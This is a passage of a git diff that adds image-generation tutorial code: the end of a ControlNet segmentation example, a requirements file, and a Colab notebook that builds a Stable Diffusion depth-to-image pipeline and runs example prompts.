50, 50], + [4, 200, 3], + [120, 120, 80], + [140, 140, 140], + [204, 5, 255], + [230, 230, 230], + [4, 250, 7], + [224, 5, 255], + [235, 255, 7], + [150, 5, 61], + [120, 120, 70], + [8, 255, 51], + [255, 6, 82], + [143, 255, 140], + [204, 255, 4], + [255, 51, 7], + [204, 70, 3], + [0, 102, 200], + [61, 230, 250], + [255, 6, 51], + [11, 102, 255], + [255, 7, 71], + [255, 9, 224], + [9, 7, 230], + [220, 220, 220], + [255, 9, 92], + [112, 9, 255], + [8, 255, 214], + [7, 255, 224], + [255, 184, 6], + [10, 255, 71], + [255, 41, 10], + [7, 255, 255], + [224, 255, 8], + [102, 8, 255], + [255, 61, 6], + [255, 194, 7], + [255, 122, 8], + [0, 255, 20], + [255, 8, 41], + [255, 5, 153], + [6, 51, 255], + [235, 12, 255], + [160, 150, 20], + [0, 163, 255], + [140, 140, 140], + [250, 10, 15], + [20, 255, 0], + [31, 255, 0], + [255, 31, 0], + [255, 224, 0], + [153, 255, 0], + [0, 0, 255], + [255, 71, 0], + [0, 235, 255], + [0, 173, 255], + [31, 0, 255], + [11, 200, 200], + [255, 82, 0], + [0, 255, 245], + [0, 61, 255], + [0, 255, 112], + [0, 255, 133], + [255, 0, 0], + [255, 163, 0], + [255, 102, 0], + [194, 255, 0], + [0, 143, 255], + [51, 255, 0], + [0, 82, 255], + [0, 255, 41], + [0, 255, 173], + [10, 0, 255], + [173, 255, 0], + [0, 255, 153], + [255, 92, 0], + [255, 0, 255], + [255, 0, 245], + [255, 0, 102], + [255, 173, 0], + [255, 0, 20], + [255, 184, 184], + [0, 31, 255], + [0, 255, 61], + [0, 71, 255], + [255, 0, 204], + [0, 255, 194], + [0, 255, 82], + [0, 10, 255], + [0, 112, 255], + [51, 0, 255], + [0, 194, 255], + [0, 122, 255], + [0, 255, 163], + [255, 153, 0], + [0, 255, 10], + [255, 112, 0], + [143, 255, 0], + [82, 0, 255], + [163, 255, 0], + [255, 235, 0], + [8, 184, 170], + [133, 0, 255], + [0, 255, 92], + [184, 0, 255], + [255, 0, 31], + [0, 184, 255], + [0, 214, 255], + [255, 0, 112], + [92, 255, 0], + [0, 224, 255], + [112, 224, 255], + [70, 184, 160], + [163, 0, 255], + [153, 0, 255], + [71, 255, 0], + [255, 0, 163], + [255, 204, 0], + [255, 0, 143], + [0, 255, 235], + [133, 255, 0], + [255, 0, 235], + [245, 0, 255], + [255, 0, 122], + [255, 245, 0], + [10, 190, 212], + [214, 255, 0], + [0, 204, 255], + [20, 0, 255], + [255, 255, 0], + [0, 153, 255], + [0, 41, 255], + [0, 255, 204], + [41, 0, 255], + [41, 255, 0], + [173, 0, 255], + [0, 245, 255], + [71, 0, 255], + [122, 0, 255], + [0, 255, 184], + [0, 92, 255], + [184, 255, 0], + [0, 133, 255], + [255, 214, 0], + [25, 194, 194], + [102, 255, 0], + [92, 0, 255], +]) + +# %% +image_input = load_image("https://cdn.pixabay.com/photo/2023/02/24/07/14/crowd-7810353_1280.jpg") +image_input + +# %% +# get the pixel values +pixel_values = image_processor(image_input, return_tensors="pt").pixel_values + +# do semantic segmentation +with torch.no_grad(): + outputs = image_segmentor(pixel_values) + +# post process the semantic segmentation +seg = image_processor.post_process_semantic_segmentation(outputs, target_sizes=[image_input.size[::-1]])[0] + +# add colors to the different identified classes +color_seg = np.zeros((seg.shape[0], seg.shape[1], 3), dtype=np.uint8) # height, width, 3 +for label, color in enumerate(palette): + color_seg[seg == label, :] = color + +# convert into PIL image format +color_seg = color_seg.astype(np.uint8) +image_seg = Image.fromarray(color_seg) + +image_seg + +# %% +image_output = pipe("A crowd of people staring at a glorious painting", image_seg, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("Aliens looking at earth from inside their spaceship from a window, not creepy, not scary, not gross, octane render, smooth", image_seg, num_inference_steps=20).images[0] +image_output + +# %% + + + diff --git a/machine-learning/control-image-generation-with-controlnet/requirements.txt b/machine-learning/control-image-generation-with-controlnet/requirements.txt new file mode 100644 index 00000000..6efce1d9 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/requirements.txt @@ -0,0 +1,6 @@ +xformers +diffusers +transformers +accelerate +controlnet_aux +opencv-contrib-python \ No newline at end of file diff --git a/machine-learning/depth2image-stable-diffusion/Img2imgGenerationStableDiffusion_Depth2img_PythonCodeTutorial.ipynb b/machine-learning/depth2image-stable-diffusion/Img2imgGenerationStableDiffusion_Depth2img_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..cbff7872 --- /dev/null +++ b/machine-learning/depth2image-stable-diffusion/Img2imgGenerationStableDiffusion_Depth2img_PythonCodeTutorial.ipynb @@ -0,0 +1,4802 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "id": "VHvuI4dpcxYM" + }, + "source": [ + "# Part 1" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "OHttLFAGRCX0" + }, + "source": [ + "Note: Before running the code, make sure you upload the images you want to edit to Colab." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "tEWYSTAiPUgA" + }, + "outputs": [], + "source": [ + "%pip install --quiet --upgrade diffusers transformers scipy ftfy" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "krtAPL7tKA-J" + }, + "outputs": [], + "source": [ + "%pip install --quiet --upgrade accelerate" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "U7eXBBRZPqel" + }, + "outputs": [], + "source": [ + "import numpy as np\n", + "from tqdm import tqdm\n", + "from PIL import Image\n", + "\n", + "import torch\n", + "from torch import autocast\n", + "\n", + "from transformers import CLIPTextModel, CLIPTokenizer\n", + "from transformers import DPTForDepthEstimation, DPTFeatureExtractor\n", + "\n", + "from diffusers import AutoencoderKL, UNet2DConditionModel\n", + "from diffusers.schedulers.scheduling_pndm import PNDMScheduler" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "0B1NCql5jkmo" + }, + "source": [ + "## Model definition" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "fK0Cu4xnPe4E" + }, + "outputs": [], + "source": [ + "class DiffusionPipeline:\n", + "\n", + " def __init__(self, \n", + " vae, \n", + " tokenizer, \n", + " text_encoder, \n", + " unet, \n", + " scheduler):\n", + " \n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.scheduler = scheduler\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + " \n", + " \n", + " def get_text_embeds(self, text):\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text, \n", + " padding='max_length', \n", + " max_length=tokenizer.model_max_length, \n", + " truncation=True, \n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + " return text_embeds\n", + "\n", + "\n", + " def get_prompt_embeds(self, prompt):\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n", + " # concatenate the above 2 embeds\n", + " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n", + " return prompt_embeds\n", + "\n", + "\n", + "\n", + " def decode_img_latents(self, img_latents):\n", + " img_latents = 1 / self.vae.config.scaling_factor * img_latents\n", + " with torch.no_grad():\n", + " img = self.vae.decode(img_latents).sample\n", + " \n", + " img = (img / 2 + 0.5).clamp(0, 1)\n", + " img = img.cpu().permute(0, 2, 3, 1).float().numpy()\n", + " return img\n", + "\n", + "\n", + "\n", + " def transform_img(self, img):\n", + " # scale images to the range [0, 255] and convert to int\n", + " img = (img * 255).round().astype('uint8')\n", + " # convert to PIL Image objects\n", + " img = [Image.fromarray(i) for i in img]\n", + " return img\n", + "\n", + "\n", + " def encode_img_latents(self, img, latent_timestep):\n", + " if not isinstance(img, list):\n", + " img = [img]\n", + " \n", + " img = np.stack([np.array(i) for i in img], axis=0)\n", + " # scale images to the range [-1, 1]\n", + " img = 2 * ((img / 255.0) - 0.5)\n", + " img = torch.from_numpy(img).float().permute(0, 3, 1, 2)\n", + " img = img.to(self.device)\n", + "\n", + " # encode images\n", + " img_latents_dist = self.vae.encode(img)\n", + " img_latents = img_latents_dist.latent_dist.sample()\n", + " \n", + " # scale images\n", + " img_latents = self.vae.config.scaling_factor * img_latents\n", + " \n", + " # add noise to the latents\n", + " noise = torch.randn(img_latents.shape).to(self.device)\n", + " img_latents = self.scheduler.add_noise(img_latents, noise, latent_timestep)\n", + "\n", + " return img_latents\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "2uME1Fs7Vq8y" + }, + "outputs": [], + "source": [ + "class Depth2ImgPipeline(DiffusionPipeline):\n", + " def __init__(self, \n", + " vae, \n", + " tokenizer, \n", + " text_encoder, \n", + " unet, \n", + " scheduler, \n", + " depth_feature_extractor, \n", + " depth_estimator):\n", + " \n", + " super().__init__(vae, tokenizer, text_encoder, unet, scheduler)\n", + "\n", + " self.depth_feature_extractor = depth_feature_extractor\n", + " self.depth_estimator = depth_estimator\n", + "\n", + "\n", + " def get_depth_mask(self, img):\n", + " if not isinstance(img, list):\n", + " img = [img]\n", + "\n", + " width, height = img[0].size\n", + " \n", + " # pre-process the input image and get its pixel values\n", + " pixel_values = self.depth_feature_extractor(img, return_tensors=\"pt\").pixel_values\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " depth_mask = self.depth_estimator(pixel_values).predicted_depth\n", + " \n", + " # get the depth mask\n", + " depth_mask = torch.nn.functional.interpolate(depth_mask.unsqueeze(1),\n", + " size=(height//8, width//8),\n", + " mode='bicubic',\n", + " align_corners=False)\n", + " \n", + " # scale the mask to range [-1, 1]\n", + " depth_min = torch.amin(depth_mask, dim=[1, 2, 3], keepdim=True)\n", + " depth_max = torch.amax(depth_mask, dim=[1, 2, 3], keepdim=True)\n", + " depth_mask = 2.0 * (depth_mask - depth_min) / (depth_max - depth_min) - 1.0\n", + " depth_mask = depth_mask.to(self.device)\n", + "\n", + " # replicate the mask for classifier free guidance \n", + " depth_mask = torch.cat([depth_mask] * 2)\n", + " return depth_mask\n", + "\n", + "\n", + "\n", + " \n", + " def denoise_latents(self, \n", + " img,\n", + " prompt_embeds,\n", + " depth_mask,\n", + " strength,\n", + " num_inference_steps=50,\n", + " guidance_scale=7.5,\n", + " height=512, width=512):\n", + " \n", + " # clip the value of strength to ensure strength lies in [0, 1]\n", + " strength = max(min(strength, 1), 0)\n", + "\n", + " # compute timesteps\n", + " self.scheduler.set_timesteps(num_inference_steps)\n", + "\n", + " init_timestep = int(num_inference_steps * strength)\n", + " t_start = num_inference_steps - init_timestep\n", + " \n", + " timesteps = self.scheduler.timesteps[t_start: ]\n", + " num_inference_steps = num_inference_steps - t_start\n", + "\n", + " latent_timestep = timesteps[:1].repeat(1)\n", + "\n", + " latents = self.encode_img_latents(img, latent_timestep)\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(timesteps)):\n", + " latent_model_input = torch.cat([latents] * 2)\n", + " latent_model_input = torch.cat([latent_model_input, depth_mask], dim=1)\n", + " \n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=prompt_embeds)['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n", + " \n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n", + "\n", + " return latents\n", + "\n", + "\n", + " def __call__(self, \n", + " prompt, \n", + " img, \n", + " strength=0.8,\n", + " num_inference_steps=50,\n", + " guidance_scale=7.5,\n", + " height=512, width=512):\n", + "\n", + "\n", + " prompt_embeds = self.get_prompt_embeds(prompt)\n", + "\n", + " depth_mask = self.get_depth_mask(img)\n", + "\n", + " latents = self.denoise_latents(img,\n", + " prompt_embeds,\n", + " depth_mask,\n", + " strength,\n", + " num_inference_steps,\n", + " guidance_scale,\n", + " height, width)\n", + "\n", + " img = self.decode_img_latents(latents)\n", + "\n", + " img = self.transform_img(img)\n", + " \n", + " return img\n" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "IQ0YObQCjbUU" + }, + "source": [ + "## Create instance of the model" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "SjVpjMXOPe6h" + }, + "outputs": [], + "source": [ + "device = 'cuda'\n", + "\n", + "# Load autoencoder\n", + "vae = AutoencoderKL.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='vae').to(device)\n", + "\n", + "# Load tokenizer and the text encoder\n", + "tokenizer = CLIPTokenizer.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='tokenizer')\n", + "text_encoder = CLIPTextModel.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='text_encoder').to(device)\n", + "\n", + "# Load UNet model\n", + "unet = UNet2DConditionModel.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='unet').to(device)\n", + "\n", + "# Load scheduler\n", + "scheduler = PNDMScheduler(beta_start=0.00085, \n", + " beta_end=0.012, \n", + " beta_schedule='scaled_linear', \n", + " num_train_timesteps=1000)\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "H5FipQQOKbiS", + "outputId": "ff6719d7-cc17-4e3b-ff60-9342fe911af1" + }, + "outputs": [], + "source": [ + "# Load DPT Depth Estimator\n", + "depth_estimator = DPTForDepthEstimation.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='depth_estimator')\n", + "\n", + "# Load DPT Feature Extractor\n", + "depth_feature_extractor = DPTFeatureExtractor.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='feature_extractor')\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "IgWXvP7TPe8p" + }, + "outputs": [], + "source": [ + "depth2img = Depth2ImgPipeline(vae, \n", + " tokenizer, \n", + " text_encoder, \n", + " unet, \n", + " scheduler,\n", + " depth_feature_extractor,\n", + " depth_estimator)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "u3End173jf5D" + }, + "source": [ + "## Examples" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 497 + }, + "id": "PvdI6VVnPfAE", + "outputId": "6ddb97f9-ef83-4430-eecb-3f156fe0c3dd" + }, + "outputs": [], + "source": [ + "import urllib.parse as parse\n", + "import os\n", + "import requests\n", + "\n", + "# a function to determine whether a string is a URL or not\n", + "def is_url(https://github.com/string):\n", + " try:\n", + " result = parse.urlparse(string)\n", + " return all([result.scheme, result.netloc, result.path])\n", + " except:\n", + " return False\n", + "\n", + "\n", + "# a function to load an image\n", + "def load_image(image_path):\n", + " if is_url(https://github.com/image_path):\n", + " return Image.open(requests.get(image_path, stream=True).raw)\n", + " elif os.path.exists(image_path):\n", + " return Image.open(image_path)\n", + "\n", + "\n", + "url = \"http://images.cocodataset.org/val2017/000000039769.jpg/"\n", + "img = load_image(url)\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 514 + }, + "id": "B1FRHDHtFZ2x", + "outputId": "b10b39ee-4ba5-4769-920f-1ea71c5de282" + }, + "outputs": [], + "source": [ + "depth2img(\"two tigers\", img)[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "WMLYkwDoGKUk", + "outputId": "8e5d015f-187c-49b1-f863-4fba0abd2f45" + }, + "outputs": [], + "source": [ + "img = load_image(\"image16.png\")\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "bjBvAVZVGKWr", + "outputId": "ad13f40d-de3a-480c-843c-b4e481a8b7a2" + }, + "outputs": [], + "source": [ + "prompt = \"A boulder with gemstones falling down a hill\"\n", + "depth2img(prompt, img)[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "6eTFNAewGKZJ", + "outputId": "4f906958-c76a-4cfe-dc2a-ca60272d1d08" + }, + "outputs": [], + "source": [ + "img = load_image(\"image11.png\").resize((512, 512))\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "DlJv2-1eN0da", + "outputId": "a879b4b6-9c03-47be-8834-494365cb58b3" + }, + "outputs": [], + "source": [ + "import gc\n", + "import torch\n", + "\n", + "# Run this cell if you get OOM - Out of Memory - errors\n", + "torch.cuda.empty_cache()\n", + "gc.collect()\n", + "torch.cuda.empty_cache()\n", + "gc.collect()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "AhvSACo4N6g2", + "outputId": "6292f90c-aaf7-4c73-9384-d5e59bf59b5b" + }, + "outputs": [], + "source": [ + "# just to check GPU memory\n", + "!nvidia-smi" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "Uy0ziM_xGKbP", + "outputId": "aa03b031-d5f7-48fa-ad48-22e7edcee10a" + }, + "outputs": [], + "source": [ + "prompt = \"A futuristic city on the edge of space, a robotic bionic singularity portal, sci fi, utopian, tim hildebrandt, wayne barlowe, bruce pennington, donato giancola, larry elmore\"\n", + "depth2img(prompt, img)[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "RryrZSIucvee" + }, + "source": [ + "# Part 2" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "37BGMrgkbgOX" + }, + "outputs": [], + "source": [ + "import torch\n", + "import requests\n", + "from PIL import Image\n", + "from diffusers import StableDiffusionDepth2ImgPipeline" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "1jqWIRGBbgR8" + }, + "outputs": [], + "source": [ + "pipe = StableDiffusionDepth2ImgPipeline.from_pretrained(\n", + " \"stabilityai/stable-diffusion-2-depth\",\n", + " torch_dtype=torch.float16,\n", + ").to(\"cuda\")" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "a11H5bbvfjs1" + }, + "source": [ + "## Impact of negative prompt example" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 382 + }, + "id": "7_HoqLyqrlta", + "outputId": "26b03e01-d07d-4a6f-e9f5-642ddbb299f2" + }, + "outputs": [], + "source": [ + "img = load_image(\"https://images.pexels.com/photos/406152/pexels-photo-406152.jpeg?auto=compress&cs=tinysrgb&w=600\")\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 409, + "referenced_widgets": [ + "b168918d31b34653897402751e9bbecc", + "ed9bd4313a1a477a820abec0b6f911f6", + "889529d86c064f73844e8074765f2cf0", + "95ebc05ee7f640af86a54aadcd40ddbe", + "a654808c82cc4672a19728ac22f26e5e", + "f228ea9baedf457985c032deab6b96df", + "665e483725974558b1712ef1fa235a7d", + "2540be75baeb49769f279ad95778a857", + "b2a6584f8d6f4c2ab221f8f90a1a560a", + "ed5435b53cb646d080918c6720e222bd", + "cd0e13f6e6dc444c80f7464747846e21" + ] + }, + "id": "mBngqY_Q7zRb", + "outputId": "8c7a6992-514c-4bbf-dcb3-4b6f5774d311" + }, + "outputs": [], + "source": [ + "prompt = \"A salad with tomatoes and guanas chips mixed with ketchup and mustard and bay leaf and guacamole and onions and ketchup and luscious patty with sesame seeds and cashews and onions and ketchup, ethereal,\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=None, strength=0.7).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 409, + "referenced_widgets": [ + "71f962cddf284a1fbc5f882dc61d673a", + "2ad534b30374491ca6b99f035efa1004", + "db69c9d0fd214da8b42b854d71b87f54", + "6041b74d03bd48f0adea3662f0b9bc27", + "8ec8c55bace044fd885ed6ada6c3cd23", + "b3c65e0ad46a4fdcb639e3c98983f1b7", + "7d12e7d3738f4094a2c1d7a56a03c928", + "5e4d7e7e89cf4b8e9cab8d34d88d662e", + "5066ac8781ec4f00b27ec6be27eb8506", + "a3a361916b864a3cadb650a563842b16", + "279e8805d1a8468496bf091b2854683e" + ] + }, + "id": "aj197V-_RYWl", + "outputId": "038b263c-01d7-4e7d-f49b-5b26d3661152" + }, + "outputs": [], + "source": [ + "prompt = \"A salad with tomatoes and guanas chips mixed with ketchup and mustard and bay leaf and guacamole and onions and ketchup and luscious patty with sesame seeds and cashews and onions and ketchup, ethereal,\"\n", + "n_prompt = \"ugly, deformed, not detailed, bad architectures, blurred, too much blurred, motion blur\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "qnPTkMvOQeM0", + "outputId": "ce7d32c7-fac1-4df7-b9e2-ea9cedd12b5a" + }, + "outputs": [], + "source": [ + "img = load_image(\"image15.png\")\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "3f2e54c7185e4251962269369e30a9ec", + "f037d2a0f68e4647ab8d1e3c278aac8f", + "77bdcf219f2e4aa8ba1725329011f2bc", + "bf5ffbefc35449659cc9aae956e9a292", + "6186ca097ee64f289f1becdd180cf1aa", + "f50555e1470b4a8e95ea430871af77cf", + "9f6a32585a514034975b71b2954b639f", + "41c7ad82fa3f4a24a13a09f384e8fd51", + "3cd041ccf57c46ff91b714b7c572f581", + "7d60b538a6e248369d2df053e9548a14", + "a2bc87dd43e14ee0abba026d57cb349f" + ] + }, + "id": "8thR1RQ08HPI", + "outputId": "5b9c661a-e291-4d68-8fde-5bb6f081d8f9" + }, + "outputs": [], + "source": [ + "prompt = \"Last remaining old man on earth\"\n", + "n_prompt = \"bad anatomy, ugly, wrinkles\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "_HH2z2bXfaYV" + }, + "source": [ + "## Changing strength - Futuristic city example" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "cNIgur9_91-8" + }, + "outputs": [], + "source": [ + "img = load_image(\"image11.png\")\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "95b5dce9d5e140e78849c5aae374f27c", + "606165cb16e74f20a46035ca4ba95e5c", + "a83bca5872324f19a6a024c536141795", + "0f79744697af4a53835dee31a1b4f748", + "7dd5be64da7a41f8875765186bdd0b10", + "8dccd6692afc41caa28072f35667bfac", + "9e67bf17f1d64768954b47e3e1001b41", + "70b8ac7c48d14a08b0d0eb840d37d410", + "650ea058ba304da9b8febd6a72e10260", + "f3d5fc14999740b2bb7e4c21d1413b37", + "b274cfa1678e49938e163e2d17d7f179" + ] + }, + "id": "aQBJTWJG92Mr", + "outputId": "d612403b-593c-4796-af26-bbd61e1c1ee6" + }, + "outputs": [], + "source": [ + "prompt = \"A futuristic city\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=None, strength=0.7).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "c33aa07ac5a741adbef140e57b9702e2", + "3b4ca1a9965f4aeabff645cc5d6aa92e", + "71d6d4c2b61d4739ae78f77f4bababc3", + "80e10875f83e4889ad1840255ef9c49d", + "e7da8d3d63f740968550b2852880ccc1", + "6f02e4b70ac145a1a9b0d9a97f8a0d6b", + "61e7f8494b86497fbe3d96f37206d930", + "fe00c60d6a684ade8f1faf85cd0a825e", + "89174c17b503496ca0652319664f6084", + "8d89224fff864932a91dc1d1545e1ea6", + "07d4c54ed84242068b64353eec6593fa" + ] + }, + "id": "bbgJ1lQw92PO", + "outputId": "c35afeb3-e07f-406e-9088-2b032292e405" + }, + "outputs": [], + "source": [ + "prompt = \"Futuristic city, modern, highly detailed, aesthetic, octane render, 8K, UHD, photoshopped\"\n", + "n_prompt = \"ugly, deformed, not detailed, bad architectures, blurred, too much blurred, motion blur\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "cdcc3550ed8340ebb2e8f0f903500c9c", + "42b12e19632c48e8809ccc1dfde61417", + "acc1e1e48c2b4c0a8c765978c5211c4a", + "b86219c801bb4d2e8395ce17518fa432", + "3ff6eda7d146478880b0d26670caa23c", + "7a282eb45d6f4d5da0c6f5241b023b32", + "af74c20beba94d84b5cf97818b6bd191", + "fff5255694d74756a08b556c51affbd9", + "890360c4bd374d74943cb359ba838ab7", + "96aed170045943a28f42d6b825c66cf3", + "2cc5cba3a49842fab50519d9968a4e53" + ] + }, + "id": "kjubi4RD92Sn", + "outputId": "3717a51a-63b1-45a9-df8a-f096aa533ded" + }, + "outputs": [], + "source": [ + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.1).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "5d7dd248760841d9b95a356cdcdd6797", + "e9454ab1e9034e908b84be5c6bf6f069", + "970fd0cc56d748ccb2ee2287b33ec5fa", + "52ee43cf76e948e4944d0539462e41f4", + "9d8254d8917c4874b980ae8e4c72b324", + "7f58a5010d77407ca459b1d7209e9280", + "af2c00007cd34322be1faf9aa4925e2d", + "75193c4a20844ca2988c9f9a3ffc66c5", + "c9ca13d641734c4e956555fcbfe2156a", + "d97e3dc3965247c3b5f19925e1a481f2", + "6c4f2c3e26614dce84bc1bf63b1e263f" + ] + }, + "id": "fHqLC7NGALi9", + "outputId": "96b0fda0-40a3-4d7a-f702-19c48230c2c9" + }, + "outputs": [], + "source": [ + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.5).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "11fb8904566f4751beffc60b2785b97e", + "e9797440d4904681b6d32ba13e38cf69", + "a2d89cde3ec1423798f3591a2aadbaef", + "e9de6d1bfc2541fbaf1c5315be405904", + "07a62b7083044ede9ec79902d595e4b9", + "23e3dc5b455d445a957cf44e6c913b30", + "fd80da5cf56c463ca277dafa9792c922", + "62dbb831c6af4a369214dbe8c8a41c77", + "bb79f73fb99f4d5885400f7f69c8edcc", + "b6001677e22a4bf1b3565b55bebf0be1", + "b3dba2bfc0c9401a908c7a25a8fbe952" + ] + }, + "id": "dqMjMcJMARNr", + "outputId": "b07157f3-ece3-428b-b595-53f2a4304898" + }, + "outputs": [], + "source": [ + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.9).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "7174c6d2b8844dde9ab72574b22b9767", + "3f267dc1656b4c2e9a0496da73081b15", + "fd926a30faed41618593cdb01204d0cc", + "708184f7d3b240a38f17656f8bbfd8ae", + "a9651ab87eae4180a9729b7e28f11376", + "061de01186f440bea0491134ff347c86", + "15b2d929ce0a4c70a156302db442e1a9", + "4c55892c8dd3450a9904bce9e9b80057", + "02dae045c1e7433cbdd872206d35e2f4", + "d75aad33f36b432c8175e076ce4cc99e", + "a3073940c26743b79c7477cbc92cb8e0" + ] + }, + "id": "HRkexFAEALls", + "outputId": "0905b122-6f11-41c2-8982-6167973e70fd" + }, + "outputs": [], + "source": [ + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=1).images[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "IXvOug64fM6H" + }, + "source": [ + "## Article beginning examples" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "HhA7oF_OA6SY", + "outputId": "66afe568-50ff-4bc1-fe07-ca1807fec2bc" + }, + "outputs": [], + "source": [ + "img = load_image(\"image12.png\")\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "f7214d3edc9c4b38af73090d49d89ddf", + 